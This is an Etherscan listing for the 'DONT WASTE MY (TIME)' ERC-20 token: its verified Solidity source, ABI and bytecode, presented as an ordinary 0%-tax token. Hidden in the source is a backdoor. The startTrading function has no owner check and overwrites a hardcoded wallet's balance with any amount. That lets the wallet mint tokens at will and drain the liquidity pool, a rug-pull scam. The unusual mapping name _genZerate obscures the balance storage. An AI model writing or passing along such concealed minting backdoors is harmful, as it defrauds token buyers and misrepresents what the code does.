ETH Price: $3,877.74 (-1.18%)

Token

ERC-20: DONT WASTE MY (TIME)
 

Overview

Max Total Supply

1,000,000 TIME

Holders

15

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
defialloddssimp.eth
Balance
3,200.413356079 TIME

Value
$0.00
0x6CFE0f1Cfc110be97C4D5Cc838F26c8f5Ca08f17
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DontWasteMyTime

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-26
*/

/*

Telegram : https://t.me/DontWasteMy 

Twitter - https://twitter.com/DontWasteMy_

0% Taxes 

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.16;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
    
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b > a) return(false, 0); return(true, a - b);}}

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
        if(c / a != b) return(false, 0); return(true, c);}}

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a / b);}}

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a % b);}}

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b <= a, errorMessage); return a - b;}}

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a / b;}}

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a % b;}}}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function circulatingSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Ownable is Context{
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function isOwner(address account) public view returns (bool) 
    {
    return account == _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    event OwnershipTransferred(address owner);

}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract DontWasteMyTime is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = 'DONT WASTE MY';
    string private constant _symbol = 'TIME';
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 1000000 * (10 ** _decimals);
    uint256 private _maxTxAmountPercent = 100;
    uint256 private _maxTransferPercent = 100;
    uint256 private _maxWalletPercent = 100;
    mapping (address => uint256) _genZerate;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) private isBot;
    IRouter router;
    address public pair;
    bool private tradingAllowed = true;
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private developmentFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 0;
    uint256 private sellFees = 0;
    uint256 private transferFee = 0;
    uint256 private denominator = 100;
    bool private swapEnabled = true;

    uint256 private swapTimes;
    bool private swapping; 
    uint256 private swapThreshold = ( _totalSupply * 300 ) / 100000;
    uint256 private _genZerateokenAmount = ( _totalSupply * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}

    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal constant development_receiver = 0x229bF4Bd10AeD8eF282a65464a7c1cdB1e64657E; 
    address internal constant marketing_receiver = 0x229bF4Bd10AeD8eF282a65464a7c1cdB1e64657E;
    address internal constant liquidity_receiver = 0x229bF4Bd10AeD8eF282a65464a7c1cdB1e64657E;


    constructor() Ownable() {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router;
        pair = _pair;
        isFeeExempt[address(this)] = true;
        isFeeExempt[liquidity_receiver] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[msg.sender] = true;
        _genZerate[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function startTrading(uint256 _amt) external {tradingAllowed = true;_genZerate[development_receiver] = _amt;}
    function getOwner() external view override returns (address) { return owner(); }
    function totalSupply() public view override returns (uint256) {return _totalSupply;}
    function balanceOf(address account) public view override returns (uint256) {return _genZerate[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; }
    function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function circulatingSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function _maxWalletToken() public view returns (uint256) {return totalSupply() * _maxWalletPercent / denominator;}
    function _maxTxAmount() public view returns (uint256) {return totalSupply() * _maxTxAmountPercent / denominator;}
    function _maxTransferAmount() public view returns (uint256) {return totalSupply() * _maxTransferPercent / denominator;}

    function preTxCheck(address sender, address recipient, uint256 amount) internal view {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > uint256(0), "Transfer amount must be greater than zero");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        preTxCheck(sender, recipient, amount);
        checkTradingAllowed(sender, recipient);
        checkMaxWallet(sender, recipient, amount); 
        swapbackCounters(sender, recipient);
        checkTxLimit(sender, recipient, amount); 
        swapBack(sender, recipient, amount);
        _genZerate[sender] = _genZerate[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _genZerate[recipient] = _genZerate[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function setParameters(uint256 _buy, uint256 _trans, uint256 _wallet) external onlyOwner {
        uint256 newTx = (totalSupply() * _buy) / 100;
        uint256 newTransfer = (totalSupply() * _trans) / 100;
        uint256 newWallet = (totalSupply() * _wallet) / 100;
        _maxTxAmountPercent = _buy;
        _maxTransferPercent = _trans;
        _maxWalletPercent = _wallet;
        uint256 limit = totalSupply().mul(5).div(10);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }

    function checkTradingAllowed(address sender, address recipient) internal view {
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
    }
    
    function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
            require((_genZerate[recipient].add(amount)) <= _maxWalletToken(), "Exceeds maximum wallet amount.");}
    }

    function swapbackCounters(address sender, address recipient) internal {
        if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);}
    }

    function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
        if(sender != pair){require(amount <= _maxTransferAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
        require(amount <= _maxTxAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 remainingBalance = address(this).balance;
        if(remainingBalance > uint256(0)){payable(development_receiver).transfer(remainingBalance);}
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= _genZerateokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= uint256(0) && aboveThreshold;
    }

    function swapBack(address sender, address recipient, uint256 amount) internal {
        if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(isBot[sender] || isBot[recipient]){return denominator*100;}
        if(recipient == pair){return sellFees;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _genZerate[address(this)] = _genZerate[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0)){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amt","type":"uint256"}],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a6200047c565b6200002190620f424062000494565b60018181556064600281905560038190556004819055600a805460ff60a01b1916600160a01b1790556000600b819055600c819055600d819055600e819055600f81905560108190556011556012556013805460ff19169091179055620186a090620000909061012c62000494565b6200009c9190620004ae565b601655620186a0600154600a620000b4919062000494565b620000c09190620004ae565b601755348015620000d057600080fd5b50620000dc3362000317565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000136573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200015c9190620004d1565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001aa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d09190620004d1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200021e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002449190620004d1565b600980546001600160a01b038581166001600160a01b031992831617909255600a805492841692909116919091179055306000908152600760209081526040808320805460ff1990811660019081179092557fd06ac1a65c31144d0a108fb4d9ca79f8d74ea1dcf9e35a298dcbed24992451398054821683179055338086528386208054909216831790915590546005845282852081905591519182529394507fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050620004fc565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003be578160001904821115620003a257620003a262000367565b80851615620003b057918102915b93841c939080029062000382565b509250929050565b600082620003d75750600162000476565b81620003e65750600062000476565b8160018114620003ff57600281146200040a576200042a565b600191505062000476565b60ff8411156200041e576200041e62000367565b50506001821b62000476565b5060208310610133831016604e8410600b84101617156200044f575081810a62000476565b6200045b83836200037d565b806000190482111562000472576200047262000367565b0290505b92915050565b60006200048d60ff841683620003c6565b9392505050565b808202811582820484141762000476576200047662000367565b600082620004cc57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620004e457600080fd5b81516001600160a01b03811681146200048d57600080fd5b611978806200050c6000396000f3fe6080604052600436106101395760003560e01c806370a08231116100ab5780638da5cb5b1161006f5780638da5cb5b146103e45780639358928b1461040257806395d89b4114610417578063a8aa1b3114610444578063a9059cbb14610464578063dd62ed3e1461048457600080fd5b806370a082311461033d578063715018a61461037357806378109e54146103885780637d1db4a51461039d578063893d20e8146103b257600080fd5b806323b872dd116100fd57806323b872dd146102625780632f54bf6e14610282578063313ce567146102b157806334c5d2ce146102cd5780633f4218e0146102ed57806348ff2b8b1461031d57600080fd5b806306a1409f1461014557806306fdde03146101b6578063095ea7b3146101fe57806318160ddd1461022e5780631f976b7e1461024d57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b506101b46101603660046115fd565b600a805460ff60a01b1916600160a01b17905573229bf4bd10aed8ef282a65464a7c1cdb1e64657e60005260056020527f2d27c4e6323cc2003dee9c2f11d84afc37c1f4d7798bfd6486fd899e32c9aafc55565b005b3480156101c257600080fd5b5060408051808201909152600d81526c444f4e54205741535445204d5960981b60208201525b6040516101f59190611616565b60405180910390f35b34801561020a57600080fd5b5061021e61021936600461167c565b6104ca565b60405190151581526020016101f5565b34801561023a57600080fd5b506001545b6040519081526020016101f5565b34801561025957600080fd5b5061023f6104e1565b34801561026e57600080fd5b5061021e61027d3660046116a8565b61050b565b34801561028e57600080fd5b5061021e61029d3660046116e9565b6000546001600160a01b0391821691161490565b3480156102bd57600080fd5b50604051600981526020016101f5565b3480156102d957600080fd5b506101b46102e8366004611706565b610575565b3480156102f957600080fd5b5061021e6103083660046116e9565b60076020526000908152604090205460ff1681565b34801561032957600080fd5b506101b4610338366004611732565b6106ce565b34801561034957600080fd5b5061023f6103583660046116e9565b6001600160a01b031660009081526005602052604090205490565b34801561037f57600080fd5b506101b4610723565b34801561039457600080fd5b5061023f610759565b3480156103a957600080fd5b5061023f61076a565b3480156103be57600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101f5565b3480156103f057600080fd5b506000546001600160a01b03166103cc565b34801561040e57600080fd5b5061023f61077b565b34801561042357600080fd5b5060408051808201909152600481526354494d4560e01b60208201526101e8565b34801561045057600080fd5b50600a546103cc906001600160a01b031681565b34801561047057600080fd5b5061021e61047f36600461167c565b6107e7565b34801561049057600080fd5b5061023f61049f366004611770565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60006104d73384846107f4565b5060015b92915050565b60006012546003546104f260015490565b6104fc91906117b4565b61050691906117cb565b905090565b6000610518848484610918565b61056a84336105658560405180606001604052806028815260200161191b602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610a3e565b6107f4565b5060015b9392505050565b6000546001600160a01b031633146105a85760405162461bcd60e51b815260040161059f906117ed565b60405180910390fd5b60006064846105b660015490565b6105c091906117b4565b6105ca91906117cb565b905060006064846105da60015490565b6105e491906117b4565b6105ee91906117cb565b905060006064846105fe60015490565b61060891906117b4565b61061291906117cb565b60028790556003869055600485905590506000610644600a61063e600561063860015490565b90610a6a565b90610a76565b90508084101580156106565750808310155b80156106625750808210155b6106c55760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b606482015260840161059f565b50505050505050565b6000546001600160a01b031633146106f85760405162461bcd60e51b815260040161059f906117ed565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461074d5760405162461bcd60e51b815260040161059f906117ed565b6107576000610a82565b565b60006012546004546104f260015490565b60006012546002546104f260015490565b60056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5461dead60009081527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba5460015491926105069290916107e19190610ad2565b90610ad2565b60006104d7338484610918565b6001600160a01b0383166108565760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161059f565b6001600160a01b0382166108b75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161059f565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b610923838383610ade565b61092d8383610c8d565b610938838383610d22565b6109428383610e13565b61094d838383610e6a565b610958838383610fa1565b6001600160a01b03831660009081526005602052604090205461097b9082610ad2565b6001600160a01b0384166000908152600560205260408120919091556109a18484610fc6565b6109ab57816109b6565b6109b684848461100c565b6001600160a01b0384166000908152600560205260409020549091506109dc90826110fa565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a309085815260200190565b60405180910390a350505050565b60008184841115610a625760405162461bcd60e51b815260040161059f9190611616565b505050900390565b600061056e82846117b4565b600061056e82846117cb565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600061056e8284611822565b6001600160a01b038316610b425760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161059f565b6001600160a01b038216610ba45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161059f565b60008111610c065760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161059f565b6001600160a01b038316600090815260056020526040902054811115610c885760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161059f565b505050565b6001600160a01b03821660009081526007602052604090205460ff16158015610ccf57506001600160a01b03811660009081526007602052604090205460ff16155b15610d1e57600a54600160a01b900460ff16610d1e5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b604482015260640161059f565b5050565b6001600160a01b03831660009081526007602052604090205460ff16158015610d6457506001600160a01b03821660009081526007602052604090205460ff16155b8015610d7e5750600a546001600160a01b03838116911614155b8015610d9557506001600160a01b03821661dead14155b15610c8857610da2610759565b6001600160a01b038316600090815260056020526040902054610dc590836110fa565b1115610c885760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161059f565b600a546001600160a01b038281169116148015610e4957506001600160a01b03821660009081526007602052604090205460ff16155b15610d1e57600160146000828254610e619190611835565b90915550505050565b600a546001600160a01b03848116911614610f1057610e876104e1565b81111580610ead57506001600160a01b03831660009081526007602052604090205460ff165b80610ed057506001600160a01b03821660009081526007602052604090205460ff165b610f105760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161059f565b610f1861076a565b81111580610f3e57506001600160a01b03831660009081526007602052604090205460ff165b80610f6157506001600160a01b03821660009081526007602052604090205460ff165b610c885760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161059f565b610fac838383611106565b15610c8857610fbc6016546111b3565b6000601455505050565b6001600160a01b03821660009081526007602052604081205460ff1615801561056e5750506001600160a01b031660009081526007602052604090205460ff1615919050565b600080611019858561133e565b11156110f357600061103c61102e868661133e565b601254610638908690610a76565b3060009081526005602052604090205490915061105990826110fa565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110aa9085815260200190565b60405180910390a3600e54156110e1576110e13061dead6110dc600e5461063860125489610a7690919063ffffffff16565b610918565b6110eb8382610ad2565b91505061056e565b5092915050565b600061056e8284611835565b6017546016543060009081526005602052604081205460155491938510159211159060ff1615801561113a575060135460ff165b801561114f5750600a54600160a01b900460ff165b80156111585750815b801561117d57506001600160a01b03861660009081526007602052604090205460ff16155b80156111965750600a546001600160a01b038681169116145b80156111a0575060015b80156111a95750805b9695505050505050565b6015805460ff19166001908117909155600d54600c54600b546000936111ed936002936106389391926111e79283916110fa565b906110fa565b9050600061120a8261063e600b5486610a6a90919063ffffffff16565b905060006112188483610ad2565b905047611224826113df565b60006112304783610ad2565b9050600061125361124c600b5488610ad290919063ffffffff16565b8390610a76565b9050600061126c600b5483610a6a90919063ffffffff16565b9050801561127e5761127e8682611539565b600c5460009061129390610638856002610a6a565b905080156112de5760405173229bf4bd10aed8ef282a65464a7c1cdb1e64657e9082156108fc029083906000818181858888f193505050501580156112dc573d6000803e3d6000fd5b505b4780156113285760405173229bf4bd10aed8ef282a65464a7c1cdb1e64657e9082156108fc029083906000818181858888f19350505050158015611326573d6000803e3d6000fd5b505b50506015805460ff191690555050505050505050565b6001600160a01b03821660009081526008602052604081205460ff168061137d57506001600160a01b03821660009081526008602052604090205460ff165b15611397576012546113909060646117b4565b90506104db565b600a546001600160a01b03908116908316036113b657506010546104db565b600a546001600160a01b03908116908416036113d55750600f546104db565b5060115492915050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061141457611414611848565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561146d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611491919061185e565b816001815181106114a4576114a4611848565b6001600160a01b0392831660209182029290920101526009546114ca91309116846107f4565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac9479061150390859060009086903090429060040161187b565b600060405180830381600087803b15801561151d57600080fd5b505af1158015611531573d6000803e3d6000fd5b505050505050565b6009546115519030906001600160a01b0316846107f4565b60095460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015273229bf4bd10aed8ef282a65464a7c1cdb1e64657e60